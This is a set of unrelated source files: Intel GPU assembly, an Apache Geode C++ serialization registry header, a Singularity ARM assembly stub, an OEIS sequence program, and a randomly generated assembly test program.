add (16|M0) (sat)r[a0.5,32]<1>:uw r[a0.5,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.2]<1>:uw r[a0.2]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.2,32]<1>:uw r[a0.2,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.6]<1>:uw r[a0.6]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.6,32]<1>:uw r[a0.6,32]<16;16,1>:uw 0x80:uw
mov (8|M0) r33.0<1>:ud 0x401004:ud
shr (8|M0) r33.3<4>:ub r2.31<0;1,0>:ub 0x6:uw
shl (8|M0) r33.0<1>:ud r33.0<8;8,1>:ud 0x2:ud
mov (8|M0) r33.2<4>:ub r[a0.2,1]<16;4,2>:ub
shl (8|M0) r33.0<1>:ud r33.0<8;8,1>:ud 0x2:ud
mov (8|M0) r33.1<4>:ub r[a0.1,1]<16;4,2>:ub
shl (8|M0) r33.0<1>:ud r33.0<8;8,1>:ud 0x2:ud
mov (8|M0) r33.0<4>:ub r[a0.0,1]<16;4,2>:ub
mov (8|M0) r34.0<1>:ud 0x401004:ud
shr (8|M0) r34.3<4>:ub r2.31<0;1,0>:ub 0x6:uw
shl (8|M0) r34.0<1>:ud r34.0<8;8,1>:ud 0x2:ud
mov (8|M0) r34.2<4>:ub r[a0.2,33]<16;4,2>:ub
shl (8|M0) r34.0<1>:ud r34.0<8;8,1>:ud 0x2:ud
mov (8|M0) r34.1<4>:ub r[a0.1,33]<16;4,2>:ub
shl (8|M0) r34.0<1>:ud r34.0<8;8,1>:ud 0x2:ud
mov (8|M0) r34.0<4>:ub r[a0.0,33]<16;4,2>:ub
mov (8|M0) r42.0<1>:ud 0x401004:ud
shr (8|M0) r42.3<4>:ub r2.31<0;1,0>:ub 0x6:uw
shl (8|M0) r42.0<1>:ud r42.0<8;8,1>:ud 0x2:ud
mov (8|M0) r42.2<4>:ub r[a0.2,9]<16;4,2>:ub
shl (8|M0) r42.0<1>:ud r42.0<8;8,1>:ud 0x2:ud
mov (8|M0) r42.1<4>:ub r[a0.1,9]<16;4,2>:ub
shl (8|M0) r42.0<1>:ud r42.0<8;8,1>:ud 0x2:ud
mov (8|M0) r42.0<4>:ub r[a0.0,9]<16;4,2>:ub
mov (8|M0) r43.0<1>:ud 0x401004:ud
shr (8|M0) r43.3<4>:ub r2.31<0;1,0>:ub 0x6:uw
shl (8|M0) r43.0<1>:ud r43.0<8;8,1>:ud 0x2:ud
mov (8|M0) r43.2<4>:ub r[a0.2,41]<16;4,2>:ub
shl (8|M0) r43.0<1>:ud r43.0<8;8,1>:ud 0x2:ud
mov (8|M0) r43.1<4>:ub r[a0.1,41]<16;4,2>:ub
shl (8|M0) r43.0<1>:ud r43.0<8;8,1>:ud 0x2:ud
mov (8|M0) r43.0<4>:ub r[a0.0,41]<16;4,2>:ub
add (4|M0) a0.0<1>:w a0.0<4;4,1>:w 0x200:uw
mov (8|M0) r51.0<1>:ud 0x401004:ud
shr (8|M0) r51.3<4>:ub r2.31<0;1,0>:ub 0x6:uw
shl (8|M0) r51.0<1>:ud r51.0<8;8,1>:ud 0x2:ud
mov (8|M0) r51.2<4>:ub r[a0.6,1]<16;4,2>:ub
shl (8|M0) r51.0<1>:ud r51.0<8;8,1>:ud 0x2:ud
mov (8|M0) r51.1<4>:ub r[a0.5,1]<16;4,2>:ub
shl (8|M0) r51.0<1>:ud r51.0<8;8,1>:ud 0x2:ud
mov (8|M0) r51.0<4>:ub r[a0.4,1]<16;4,2>:ub
mov (8|M0) r52.0<1>:ud 0x401004:ud
shr (8|M0) r52.3<4>:ub r2.31<0;1,0>:ub 0x6:uw
shl (8|M0) r52.0<1>:ud r52.0<8;8,1>:ud 0x2:ud
mov (8|M0) r52.2<4>:ub r[a0.6,33]<16;4,2>:ub
shl (8|M0) r52.0<1>:ud r52.0<8;8,1>:ud 0x2:ud
mov (8|M0) r52.1<4>:ub r[a0.5,33]<16;4,2>:ub
shl (8|M0) r52.0<1>:ud r52.0<8;8,1>:ud 0x2:ud
mov (8|M0) r52.0<4>:ub r[a0.4,33]<16;4,2>:ub
mov (8|M0) r60.0<1>:ud 0x401004:ud
shr (8|M0) r60.3<4>:ub r2.31<0;1,0>:ub 0x6:uw
shl (8|M0) r60.0<1>:ud r60.0<8;8,1>:ud 0x2:ud
mov (8|M0) r60.2<4>:ub r[a0.6,9]<16;4,2>:ub
shl (8|M0) r60.0<1>:ud r60.0<8;8,1>:ud 0x2:ud
mov (8|M0) r60.1<4>:ub r[a0.5,9]<16;4,2>:ub
shl (8|M0) r60.0<1>:ud r60.0<8;8,1>:ud 0x2:ud
mov (8|M0) r60.0<4>:ub r[a0.4,9]<16;4,2>:ub
mov (8|M0) r61.0<1>:ud 0x401004:ud
shr (8|M0) r61.3<4>:ub r2.31<0;1,0>:ub 0x6:uw
shl (8|M0) r61.0<1>:ud r61.0<8;8,1>:ud 0x2:ud
mov (8|M0) r61.2<4>:ub r[a0.6,41]<16;4,2>:ub
shl (8|M0) r61.0<1>:ud r61.0<8;8,1>:ud 0x2:ud
mov (8|M0) r61.1<4>:ub r[a0.5,41]<16;4,2>:ub
shl (8|M0) r61.0<1>:ud r61.0<8;8,1>:ud 0x2:ud
mov (8|M0) r61.0<4>:ub r[a0.4,41]<16;4,2>:ub
add (4|M0) a0.4<1>:w a0.4<4;4,1>:w 0x200:uw
add (16|M0) (sat)r[a0.0]<1>:uw r[a0.0]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.0,32]<1>:uw r[a0.0,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.4]<1>:uw r[a0.4]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.4,32]<1>:uw r[a0.4,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.1]<1>:uw r[a0.1]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.1,32]<1>:uw r[a0.1,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.5]<1>:uw r[a0.5]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.5,32]<1>:uw r[a0.5,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.2]<1>:uw r[a0.2]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.2,32]<1>:uw r[a0.2,32]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.6]<1>:uw r[a0.6]<16;16,1>:uw 0x80:uw
add (16|M0) (sat)r[a0.6,32]<1>:uw r[a0.6,32]<16;16,1>:uw 0x80:uw
mov (8|M0) r35.0<1>:ud 0x401004:ud
shr (8|M0) r35.3<4>:ub r2.31<0;1,0>:ub 0x6:uw
shl (8|M0) r35.0<1>:ud r35.0<8;8,1>:ud 0x2:ud
mov (8|M0) r35.2<4>:ub r[a0.2,1]<16;4,2>:ub
shl (8|M0) r35.0<1>:ud r35.0<8;8,1>:ud 0x2:ud
mov (8|M0) r35.1<4>:ub r[a0.1,1]<16;4,2>:ub
shl (8|M0) r35.0<1>:ud r35.0<8;8,1>:ud 0x2:ud
mov (8|M0) r35.0<4>:ub r[a0.0,1]<16;4,2>:ub
mov (8|M0) r36.0<1>:ud 0x401004:ud
shr (8|M0) r36.3<4>:ub r2.31<0;1,0>:ub 0x6:uw
shl (8|M0) r36.0<1>:ud r36.0<8;8,1>:ud 0x2:ud
mov (8|M0) r36.2<4>:ub r[a0.2,33]<16;4,2>:ub
shl (8|M0) r36.0<1>:ud r36.0<8;8,1>:ud 0x2:ud
mov (8|M0) r36.1<4>:ub r[a0.1,33]<16;4,2>:ub
shl (8|M0) r36.0<1>:ud r36.0<8;8,1>:ud 0x2:ud
mov (8|M0) r36.0<4>:ub r[a0.0,33]<16;4,2>:ub
mov (8|M0) r44.0<1>:ud 0x401004:ud
shr (8|M0) r44.3<4>:ub r2.31<0;1,0>:ub 0x6:uw
shl (8|M0) r44.0<1>:ud r44.0<8;8,1>:ud 0x2:ud
mov (8|M0) r44.2<4>:ub r[a0.2,9]<16;4,2>:ub
shl (8|M0) r44.0<1>:ud r44.0<8;8,1>:ud 0x2:ud
mov (8|M0) r44.1<4>:ub r[a0.1,9]<16;4,2>:ub
shl (8|M0) r44.0<1>:ud r44.0<8;8,1>:ud 0x2:ud
mov (8|M0) r44.0<4>:ub r[a0.0,9]<16;4,2>:ub
mov (8|M0) r45.0<1>:ud 0x401004:ud
shr (8|M0) r45.3<4>:ub r2.31<0;1,0>:ub 0x6:uw
shl (8|M0) r45.0<1>:ud r45.0<8;8,1>:ud 0x2:ud
mov (8|M0) r45.2<4>:ub r[a0.2,41]<16;4,2>:ub
shl (8|M0) r45.0<1>:ud r45.0<8;8,1>:ud 0x2:ud
mov (8|M0) r45.1<4>:ub r[a0.1,41]<16;4,2>:ub
shl (8|M0) r45.0<1>:ud r45.0<8;8,1>:ud 0x2:ud
mov (8|M0) r45.0<4>:ub r[a0.0,41]<16;4,2>:ub
add (4|M0) a0.0<1>:w a0.0<4;4,1>:w 0x200:uw
mov (8|M0) r53.0<1>:ud 0x401004:ud
shr (8|M0) r53.3<4>:ub r2.31<0;1,0>:ub 0x6:uw
shl (8|M0) r53.0<1>:ud r53.0<8;8,1>:ud 0x2:ud
mov (8|M0) r53.2<4>:ub r[a0.6,1]<16;4,2>:ub
shl (8|M0) r53.0<1>:ud r53.0<8;8,1>:ud 0x2:ud
mov (8|M0) r53.1<4>:ub r[a0.5,1]<16;4,2>:ub
shl (8|M0) r53.0<1>:ud r53.0<8;8,1>:ud 0x2:ud
mov (8|M0) r53.0<4>:ub r[a0.4,1]<16;4,2>:ub
mov (8|M0) r54.0<1>:ud 0x401004:ud
shr (8|M0) r54.3<4>:ub r2.31<0;1,0>:ub 0x6:uw
shl (8|M0) r54.0<1>:ud r54.0<8;8,1>:ud 0x2:ud
mov (8|M0) r54.2<4>:ub r[a0.6,33]<16;4,2>:ub
shl (8|M0) r54.0<1>:ud r54.0<8;8,1>:ud 0x2:ud
mov (8|M0) r54.1<4>:ub r[a0.5,33]<16;4,2>:ub
shl (8|M0) r54.0<1>:ud r54.0<8;8,1>:ud 0x2:ud
mov (8|M0) r54.0<4>:ub r[a0.4,33]<16;4,2>:ub
mov (8|M0) r62.0<1>:ud 0x401004:ud
shr (8|M0) r62.3<4>:ub r2.31<0;1,0>:ub 0x6:uw
shl (8|M0) r62.0<1>:ud r62.0<8;8,1>:ud 0x2:ud
mov (8|M0) r62.2<4>:ub r[a0.6,9]<16;4,2>:ub
shl (8|M0) r62.0<1>:ud r62.0<8;8,1>:ud 0x2:ud
mov (8|M0) r62.1<4>:ub r[a0.5,9]<16;4,2>:ub
shl (8|M0) r62.0<1>:ud r62.0<8;8,1>:ud 0x2:ud
mov (8|M0) r62.0<4>:ub r[a0.4,9]<16;4,2>:ub
mov (8|M0) r63.0<1>:ud 0x401004:ud
shr (8|M0) r63.3<4>:ub r2.31<0;1,0>:ub 0x6:uw
shl (8|M0) r63.0<1>:ud r63.0<8;8,1>:ud 0x2:ud
mov (8|M0) r63.2<4>:ub r[a0.6,41]<16;4,2>:ub
shl (8|M0) r63.0<1>:ud r63.0<8;8,1>:ud 0x2:ud
mov (8|M0) r63.1<4>:ub r[a0.5,41]<16;4,2>:ub
shl (8|M0) r63.0<1>:ud r63.0<8;8,1>:ud 0x2:ud
mov (8|M0) r63.0<4>:ub r[a0.4,41]<16;4,2>:ub
add (4|M0) a0.4<1>:w a0.4<4;4,1>:w 0x200:uw
send (8|M0) null:d r28:ub 0xC 0x120A8018
send (8|M0) null:d r37:ub 0xC 0x120A8018
send (8|M0) null:d r46:ub 0xC 0x120A8018
send (8|M0) null:d r55:ub 0xC 0x120A8018
|
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#pragma once
#ifndef GEODE_SERIALIZATIONREGISTRY_H_
#define GEODE_SERIALIZATIONREGISTRY_H_
#include <functional>
#include <iostream>
#include <memory>
#include <mutex>
#include <string>
#include <typeindex>
#include <typeinfo>
#include <unordered_map>
#include <geode/DataOutput.hpp>
#include <geode/DataSerializable.hpp>
#include <geode/Delta.hpp>
#include <geode/ExceptionTypes.hpp>
#include <geode/PdxSerializable.hpp>
#include <geode/PdxSerializer.hpp>
#include <geode/Serializable.hpp>
#include <geode/internal/DataSerializableInternal.hpp>
#include <geode/internal/DataSerializablePrimitive.hpp>
#include <geode/internal/geode_globals.hpp>
#include "MemberListForVersionStamp.hpp"
#include "config.h"
namespace std {
template <>
struct hash<apache::geode::client::internal::DSCode> {
using argument_type = apache::geode::client::internal::DSCode;
using result_type = std::size_t;
result_type operator()(argument_type val) const {
return std::hash<int32_t>{}(static_cast<int32_t>(val));
}
};
template <>
struct hash<apache::geode::client::internal::DSFid> {
using argument_type = apache::geode::client::internal::DSFid;
using result_type = std::size_t;
result_type operator()(argument_type val) const {
return std::hash<int32_t>{}(static_cast<int32_t>(val));
}
};
} // namespace std
namespace apache {
namespace geode {
namespace client {
using internal::DataSerializableInternal;
using internal::DataSerializablePrimitive;
class TheTypeMap {
std::unordered_map<internal::DSCode, TypeFactoryMethod>
dataSerializablePrimitiveMap_;
std::unordered_map<int32_t, TypeFactoryMethod> dataSerializableMap_;
std::unordered_map<internal::DSFid, TypeFactoryMethod>
dataSerializableFixedIdMap_;
std::unordered_map<std::string, TypeFactoryMethodPdx> pdxSerializableMap_;
mutable std::mutex dataSerializablePrimitiveMapMutex_;
mutable std::mutex dataSerializableMapMutex_;
mutable std::mutex dataSerializableFixedIdMapMutex_;
mutable std::mutex pdxSerializableMapMutex_;
public:
std::unordered_map<std::type_index, int32_t> typeToClassId_;
TheTypeMap(const TheTypeMap&) = delete;
TheTypeMap() { setup(); }
~TheTypeMap() noexcept = default;
void setup();
void clear();
void findDataSerializable(int32_t id, TypeFactoryMethod& func) const;
void bindDataSerializable(TypeFactoryMethod func, int32_t id);
void rebindDataSerializable(int32_t id, TypeFactoryMethod func);
void unbindDataSerializable(int32_t id);
void findDataSerializableFixedId(internal::DSFid id,
TypeFactoryMethod& func) const;
void bindDataSerializableFixedId(TypeFactoryMethod func);
void rebindDataSerializableFixedId(internal::DSFid id,
TypeFactoryMethod func);
void unbindDataSerializableFixedId(internal::DSFid id);
void bindPdxSerializable(TypeFactoryMethodPdx func);
TypeFactoryMethodPdx findPdxSerializable(
const std::string& objFullName) const;
void unbindPdxSerializable(const std::string& objFullName);
void rebindPdxSerializable(std::string objFullName,
TypeFactoryMethodPdx func);
void findDataSerializablePrimitive(DSCode dsCode,
TypeFactoryMethod& func) const;
void bindDataSerializablePrimitive(TypeFactoryMethod func, DSCode id);
void rebindDataSerializablePrimitive(DSCode dsCode, TypeFactoryMethod func);
private:
};
class Pool;
/**
* Used to register handlers for the PDX DsCode. .NET client extends this to
* intercept PDX (de)serialization.
*/
class PdxTypeHandler {
public:
virtual ~PdxTypeHandler() noexcept = default;
virtual void serialize(
const std::shared_ptr<PdxSerializable>& pdxSerializable,
DataOutput& dataOutput) const;
virtual std::shared_ptr<PdxSerializable> deserialize(
DataInput& dataInput) const;
};
/**
* Used to register handlers for the DataSerializable. .NET client extends this
* to intercept for (de)serialization.
*/
class DataSerializableHandler {
public:
virtual ~DataSerializableHandler() noexcept = default;
virtual void serialize(
const std::shared_ptr<DataSerializable>& dataSerializable,
DataOutput& dataOutput, bool isDelta) const;
virtual std::shared_ptr<DataSerializable> deserialize(DataInput& input,
DSCode typeId) const;
};
class APACHE_GEODE_EXPORT SerializationRegistry {
public:
SerializationRegistry() : theTypeMap_() {}
/** write the length of the serialization, write the typeId of the object,
* then write whatever the object's toData requires. The length at the
* front is backfilled after the serialization.
*/
void serialize(const std::shared_ptr<Serializable>& obj, DataOutput& output,
bool isDelta = false) const;
void serializeWithoutHeader(const std::shared_ptr<Serializable>& obj,
DataOutput& output) const;
/**
* Read the length, typeid, and run the objs fromData. Returns the New
* object.
*/
std::shared_ptr<Serializable> deserialize(DataInput& input,
int8_t typeId = -1) const;
void addDataSerializableType(TypeFactoryMethod func, int32_t id);
void addPdxSerializableType(TypeFactoryMethodPdx func);
void setPdxSerializer(std::shared_ptr<PdxSerializer> pdxSerializer);
std::shared_ptr<PdxSerializer> getPdxSerializer();
void removeDataSerializableType(int32_t id);
void addDataSerializableFixedIdType(TypeFactoryMethod func);
void addDataSerializableFixedIdType(internal::DSFid id,
TypeFactoryMethod func);
void removeDataSerializableFixeIdType(internal::DSFid id);
void setDataSerializablePrimitiveType(TypeFactoryMethod func, DSCode dsCode);
int32_t GetPDXIdForType(Pool* pool,
std::shared_ptr<Serializable> pdxType) const;
std::shared_ptr<Serializable> GetPDXTypeById(Pool* pool,
int32_t typeId) const;
int32_t GetEnumValue(std::shared_ptr<Pool> pool,
std::shared_ptr<Serializable> enumInfo) const;
std::shared_ptr<Serializable> GetEnum(std::shared_ptr<Pool> pool,
int32_t val) const;
std::shared_ptr<PdxSerializable> getPdxSerializableType(
const std::string& className) const;
void setPdxTypeHandler(PdxTypeHandler* handler);
void setDataSerializableHandler(DataSerializableHandler* handler);
TypeFactoryMethod getDataSerializableCreationMethod(int32_t objectId);
int32_t getIdForDataSerializableType(std::type_index objectType) const;
static DSCode getSerializableDataDsCode(int32_t classId);
private:
std::shared_ptr<Serializable> deserializeDataSerializableFixedId(
DataInput& input, DSCode dsCode) const;
void serialize(const std::shared_ptr<DataSerializableFixedId>& obj,
DataOutput& output) const;
void serializeWithoutHeader(
const std::shared_ptr<DataSerializableFixedId>& obj,
DataOutput& output) const;
void serialize(const std::shared_ptr<DataSerializablePrimitive>& obj,
DataOutput& output) const;
void serializeWithoutHeader(
const std::shared_ptr<DataSerializablePrimitive>& obj,
DataOutput& output) const;
void serialize(const std::shared_ptr<PdxSerializable>& obj,
DataOutput& output) const;
void serializeWithoutHeader(const std::shared_ptr<PdxSerializable>& obj,
DataOutput& output) const;
void serialize(const std::shared_ptr<DataSerializableInternal>& obj,
DataOutput& output) const;
void serializeWithoutHeader(
const std::shared_ptr<DataSerializableInternal>& obj,
DataOutput& output) const;
void deserialize(DataInput& input,
const std::shared_ptr<Serializable>& obj) const;
private:
std::unique_ptr<PdxTypeHandler> pdxTypeHandler_;
std::shared_ptr<PdxSerializer> pdxSerializer_;
std::unique_ptr<DataSerializableHandler> dataSerializableHandler_;
TheTypeMap theTypeMap_;
};
} // namespace client
} // namespace geode
} // namespace apache
#endif // GEODE_SERIALIZATIONREGISTRY_H_
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;
;;; Microsoft Research Singularity
;;;
;;; Copyright (c) Microsoft Corporation. All rights reserved.
;;;
;;; This file contains ARM-specific assembly code.
;;;
GBLL except_s
GET except.asm
END
|
; A047468: Numbers that are congruent to {1, 2} mod 8.
; 1,2,9,10,17,18,25,26,33,34,41,42,49,50,57,58,65,66,73,74,81,82,89,90,97,98,105,106,113,114,121,122,129,130,137,138,145,146,153,154,161,162,169,170,177,178,185,186,193,194,201,202,209,210,217,218,225,226,233
mov $1,$0
div $1,2
mul $1,6
add $0,$1
add $0,1
|
// seed 4
lbi r0, 167 // icount 0
slbi r0, 145 // icount 1
lbi r1, 12 // icount 2
slbi r1, 187 // icount 3
lbi r2, 135 // icount 4
slbi r2, 166 // icount 5
lbi r3, 172 // icount 6
slbi r3, 218 // icount 7
lbi r4, 97 // icount 8
slbi r4, 58 // icount 9
lbi r5, 17 // icount 10
slbi r5, 59 // icount 11
lbi r6, 85 // icount 12
slbi r6, 121 // icount 13
lbi r7, 158 // icount 14
slbi r7, 72 // icount 15
j 4 // icount 16
nop // icount 17
nop // icount 18
andn r3, r0, r4 // icount 19
add r7, r3, r7 // icount 20
lbi r0, 0 // icount 21
lbi r4, 0 // icount 22
bgez r3, 20 // icount 23
seq r0, r3, r4 // icount 24
sub r7, r2, r7 // icount 25
rori r7, r6, 2 // icount 26
sll r7, r2, r4 // icount 27
xor r0, r4, r2 // icount 28
slt r1, r5, r6 // icount 29
add r7, r1, r7 // icount 30
sub r3, r5, r0 // icount 31
andn r1, r0, r3 // icount 32
xor r3, r3, r4 // icount 33
slli r2, r0, 7 // icount 34
lbi r3, 8 // icount 35
andn r6, r3, r1 // icount 36
seq r3, r6, r7 // icount 37
slt r1, r1, r3 // icount 38
subi r6, r5, 4 // icount 39
rol r4, r2, r4 // icount 40
roli r0, r4, 15 // icount 41
sll r7, r0, r4 // icount 42
andn r7, r2, r6 // icount 43
andn r2, r3, r1 // icount 44
lbi r3, 0 // icount 45
lbi r2, 0 // icount 46
bltz r5, 32 // icount 47
slli r5, r4, 3 // icount 48
xori r3, r1, 5 // icount 49
sll r2, r7, r1 // icount 50
nop // to align meminst icount 51
andni r6, r6, 1 // icount 52
st r2, r6, 10 // icount 53
lbi r1, 12 // icount 54
seq r0, r0, r4 // icount 55
xor r2, r1, r1 // icount 56
andni r1, r0, 5 // icount 57
sco r7, r0, r3 // icount 58
nop // to align meminst icount 59
andni r7, r7, 1 // icount 60
stu r7, r7, 12 // icount 61
sle r3, r2, r3 // icount 62
sle r1, r2, r3 // icount 63
srl r4, r0, r0 // icount 64
rori r2, r2, 14 // icount 65
addi r3, r0, 0 // icount 66
addi r0, r4, 7 // icount 67
srl r6, r2, r5 // icount 68
slbi r2, 2 // icount 69
rori r2, r7, 1 // icount 70
seq r4, r6, r6 // icount 71
sco r6, r6, r0 // icount 72
andn r1, r1, r3 // icount 73
subi r7, r7, 12 // icount 74
slbi r7, 4 // icount 75
andn r3, r7, r0 // icount 76
nop // to align meminst icount 77
andni r3, r3, 1 // icount 78
stu r7, r3, 4 // icount 79
ror r4, r4, r4 // icount 80
slli r0, r7, 0 // icount 81
seq r2, r6, r7 // icount 82
ror r4, r6, r5 // icount 83
slt r3, r3, r1 // icount 84
nop // to align meminst icount 85
andni r7, r7, 1 // icount 86
ld r1, r7, 6 // icount 87
andni r7, r7, 1 // icount 88
stu r3, r7, 12 // icount 89
j 26 // icount 90
nop // icount 91
nop // icount 92
nop // icount 93
nop // icount 94
nop // icount 95
nop // icount 96
nop // icount 97
nop // icount 98
nop // icount 99
nop // icount 100
nop // icount 101
nop // icount 102
nop // icount 103
j 30 // icount 104
nop // icount 105
nop // icount 106
nop // icount 107
nop // icount 108
nop // icount 109
nop // icount 110
nop // icount 111
nop // icount 112
nop // icount 113
nop // icount 114
nop // icount 115
nop // icount 116
nop // icount 117
nop // icount 118
nop // icount 119
lbi r7, 1 // icount 120
j 32 // icount 121
nop // icount 122
nop // icount 123
nop // icount 124
nop // icount 125
nop // icount 126
nop // icount 127
nop // icount 128
nop // icount 129
nop // icount 130
nop // icount 131
nop // icount 132
nop // icount 133
nop // icount 134
nop // icount 135
nop // icount 136
nop // icount 137
andni r5, r5, 1 // icount 138
st r0, r5, 2 // icount 139
andni r3, r3, 1 // icount 140
ld r6, r3, 12 // icount 141
lbi r1, 0 // icount 142
lbi r1, 0 // icount 143
nop // to align branch icount 144
beqz r2, 28 // icount 145
slt r6, r4, r6 // icount 146
nop // to align meminst icount 147
andni r7, r7, 1 // icount 148
stu r7, r7, 14 // icount 149
seq r3, r5, r0 // icount 150
xori r7, r2, 3 // icount 151
srl r4, r1, r0 // icount 152
lbi r4, 12 // icount 153
xor r0, r1, r7 // icount 154
slli r4, r4, 9 // icount 155
roli r3, r5, 7 // icount 156
add r0, r1, r7 // icount 157
seq r1, r7, r5 // icount 158
rori r5, r1, 8 // icount 159
sco r0, r2, r2 // icount 160
slli r2, r6, 6 // icount 161
srl r7, r6, r4 // icount 162
seq r0, r7, r4 // icount 163
sub r5, r3, r4 // icount 164
nop // to align meminst icount 165
andni r6, r6, 1 // icount 166
st r3, r6, 12 // icount 167
xor r2, r5, r7 // icount 168
nop // to align meminst icount 169
andni r2, r2, 1 // icount 170
stu r5, r2, 6 // icount 171
subi r5, r4, 0 // icount 172
nop // to align meminst icount 173
andni r3, r3, 1 // icount 174
st r5, r3, 12 // icount 175
srl r5, r5, r7 // icount 176
andni r4, r3, 11 // icount 177
sll r2, r1, r0 // icount 178
slli r2, r0, 3 // icount 179
slt r7, r4, r5 // icount 180
sle r0, r4, r5 // icount 181
j 24 // icount 182
nop // icount 183
nop // icount 184
nop // icount 185
nop // icount 186
nop // icount 187
nop // icount 188
nop // icount 189
nop // icount 190
nop // icount 191
nop // icount 192
nop // icount 193
nop // icount 194
andn r1, r2, r1 // icount 195
addi r3, r6, 15 // icount 196
lbi r3, 0 // icount 197
lbi r5, 0 // icount 198
bnez r3, 8 // icount 199
xori r0, r0, 14 // icount 200
nop // to align meminst icount 201
andni r6, r6, 1 // icount 202
ld r7, r6, 6 // icount 203
xori r6, r6, 13 // icount 204
slli r6, r3, 12 // icount 205
slbi r1, 10 // icount 206
nop // to align meminst icount 207
andni r1, r1, 1 // icount 208
ld r6, r1, 6 // icount 209
addi r3, r2, 5 // icount 210
nop // to align meminst icount 211
andni r5, r5, 1 // icount 212
ld r0, r5, 12 // icount 213
lbi r4, 0 // icount 214
lbi r0, 0 // icount 215
nop // to align branch icount 216
bltz r1, 0 // icount 217
lbi r2, 0 // icount 218
lbi r5, 0 // icount 219
nop // to align branch icount 220
beqz r0, 24 // icount 221
addi r6, r7, 1 // icount 222
nop // to align meminst icount 223
andni r5, r5, 1 // icount 224
ld r2, r5, 10 // icount 225
srli r5, r0, 10 // icount 226
roli r1, r6, 4 // icount 227
slbi r3, 6 // icount 228
subi r3, r3, 7 // icount 229
slli r0, r0, 7 // icount 230
rori r3, r5, 2 // icount 231
sub r1, r4, r6 // icount 232
subi r3, r7, 8 // icount 233
andni r6, r5, 11 // icount 234
nop // to align meminst icount 235
andni r7, r7, 1 // icount 236
stu r0, r7, 4 // icount 237
andni r5, r5, 1 // icount 238
ld r7, r5, 0 // icount 239
andn r2, r4, r5 // icount 240
rol r4, r6, r4 // icount 241
add r0, r5, r2 // icount 242
add r5, r7, r3 // icount 243
srl r6, r5, r6 // icount 244
rori r4, r2, 9 // icount 245
andni r5, r5, 1 // icount 246
ld r1, r5, 10 // icount 247
srl r7, r5, r5 // icount 248
add r3, r6, r4 // icount 249
andn r5, r5, r3 // icount 250
sll r5, r1, r2 // icount 251
sll r0, r1, r6 // icount 252
lbi r0, 0 // icount 253
lbi r2, 0 // icount 254
beqz r6, 24 // icount 255
seq r1, r0, r6 // icount 256
roli r0, r6, 15 // icount 257
andn r2, r0, r5 // icount 258
srli r3, r7, 6 // icount 259
andni r7, r7, 1 // icount 260
st r3, r7, 0 // icount 261
add r3, r6, r3 // icount 262
sub r6, r0, r5 // icount 263
andni r2, r7, 1 // icount 264
slt r4, r2, r6 // icount 265
andni r2, r2, 1 // icount 266
stu r0, r2, 6 // icount 267
lbi r5, 0 // icount 268
add r4, r4, r5 // icount 269
andni r3, r3, 1 // icount 270
stu r5, r3, 12 // icount 271
slt r4, r2, r7 // icount 272
add r0, r3, r0 // icount 273
roli r1, r0, 0 // icount 274
srli r2, r7, 7 // icount 275
sle r4, r3, r6 // icount 276
sle r5, r5, r2 // icount 277
subi r7, r5, 7 // icount 278
rori r5, r5, 2 // icount 279
lbi r5, 8 // icount 280
sle r0, r1, r2 // icount 281
slbi r3, 15 // icount 282
slli r3, r6, 15 // icount 283
lbi r2, 0 // icount 284
lbi r7, 0 // icount 285
nop // to align branch icount 286
bnez r5, 8 // icount 287
sub r7, r7, r7 // icount 288
xor r7, r3, r7 // icount 289
roli r0, r1, 6 // icount 290
addi r1, r0, 11 // icount 291
seq r0, r0, r2 // icount 292
subi r2, r7, 3 // icount 293
xori r3, r3, 2 // icount 294
sco r6, r1, r6 // icount 295
j 4 // icount 296
nop // icount 297
nop // icount 298
andni r7, r7, 3 // icount 299
sle r2, r3, r0 // icount 300
lbi r7, 0 // icount 301
lbi r5, 0 // icount 302
bnez r3, 16 // icount 303
xor r1, r6, r0 // icount 304
sle r7, r3, r1 // icount 305
lbi r1, 9 // icount 306
subi r7, r7, 14 // icount 307
lbi r5, 3 // icount 308
rol r3, r6, r6 // icount 309
sll r2, r7, r4 // icount 310
sll r6, r3, r2 // icount 311
roli r3, r0, 4 // icount 312
xor r3, r7, r4 // icount 313
subi r7, r7, 1 // icount 314
srl r7, r7, r7 // icount 315
xori r1, r1, 5 // icount 316
subi r7, r3, 9 // icount 317
rori r6, r0, 0 // icount 318
slt r3, r5, r5 // icount 319
lbi r7, 0 // icount 320
lbi r0, 0 // icount 321
nop // to align branch icount 322
bltz r6, 24 // icount 323
rol r4, r0, r4 // icount 324
srl r4, r0, r7 // icount 325
slbi r3, 8 // icount 326
rori r4, r1, 2 // icount 327
add r7, r1, r5 // icount 328
rol r1, r7, r7 // icount 329
lbi r2, 0 // icount 330
add r5, r4, r1 // icount 331
roli r6, r4, 6 // icount 332
slbi r6, 4 // icount 333
andni r7, r7, 1 // icount 334
ld r0, r7, 2 // icount 335
xori r4, r1, 12 // icount 336
ror r7, r3, r4 // icount 337
andni r6, r2, 6 // icount 338
slt r3, r5, r1 // icount 339
lbi r0, 6 // icount 340
add r6, r7, r7 // icount 341
sll r2, r4, r6 // icount 342
